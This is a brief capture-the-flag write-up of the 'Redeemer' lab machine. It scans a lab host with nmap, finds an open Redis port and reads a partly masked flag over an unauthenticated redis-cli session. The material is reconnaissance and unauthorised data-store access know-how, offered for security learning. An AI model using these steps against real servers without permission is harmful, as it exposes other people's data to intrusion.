Redeemer

Recon

First nmap scan didn't return any results.

└─$ sudo nmap -sC -sV -oA nmap/nmap01 10.129.112.138
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 17:56 EDT
Nmap scan report for 10.129.112.138
Host is up (0.057s latency).
All 1000 scanned ports on 10.129.112.138 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds

I'll scan again with -p- :)

10.129.112.138

PortStateServiceVersion
6379/tcpopenredisRedis key-value store 5.0.7

Enumeration

With only redis as an open port, I imagine that's the only way in. I haven't really used redis-cli ever before so I'll need to read some of their documentation.

└─$ redis-cli --help
redis-cli 7.0.7

Usage: redis-cli [OPTIONS] [cmd [arg [arg ...]]]
  -h <hostname>      Server hostname (default: 127.0.0.1).
  -p <port>          Server port (default: 6379).
  -s <socket>        Server socket (overrides hostname and port).
  -a <password>      Password to use when connecting to the server.
                     You can also use the REDISCLI_AUTH environment
                     variable to pass this password more safely
                     (if both are used, this argument takes precedence).
  --user <username>  Used to send ACL style 'AUTH username pass'. Needs -a.
  --pass <password>  Alias of -a for consistency with the new --user option.
  ---SNIP---

Connecting with no auth works, and using commands from https://lzone.de/cheat-sheet/Redis will yield some results.

└─$ redis-cli -h 10.129.112.138
10.129.112.138:6379> info
# Server
redis_version:*.*.7
---SNIP---
10.129.112.138:6379[1]> select 0
OK
10.129.112.138:6379> keys *
1) "numb"
2) "temp"
3) "flag"
4) "stor"
10.129.112.138:6379> GET "flag"
"03e****************53eb"

Summary

A little more interesting, as I don't have any experience using redis-cli!